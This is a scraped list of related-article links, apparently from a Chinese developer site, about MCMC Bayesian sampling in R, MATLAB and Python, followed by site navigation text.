R语言BUGS/JAGS贝叶斯分析: 马尔科夫链蒙特卡洛方法(MCMC)采样|附代码数据
1.7K0
马尔可夫链蒙特卡罗法(Markov Chain Monte Carlo,MCMC)
1.7K0
R语言随机波动模型SV:马尔可夫蒙特卡罗法MCMC、正则化广义矩估计和准最大似然估计上证指数收益时间序列|附代码数据
2540
一份数学小白也能读懂的「马尔可夫链蒙特卡洛方法」入门指南
1.6K0
R语言BUGS/JAGS贝叶斯分析: 马尔科夫链蒙特卡洛方法(MCMC)采样|附代码数据
3000
MATLAB随机波动率SV、GARCH用MCMC马尔可夫链蒙特卡罗方法分析汇率时间序列|附代码数据
4700
R语言贝叶斯MCMC:用rstan建立线性回归模型分析汽车数据和可视化诊断|附代码数据
2.2K0
教程 | 通过Python实现马尔科夫链蒙特卡罗方法的入门级应用
2.4K1
相关推荐
如何实现马尔可夫链蒙特卡罗MCMC模型、Metropolis算法?
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验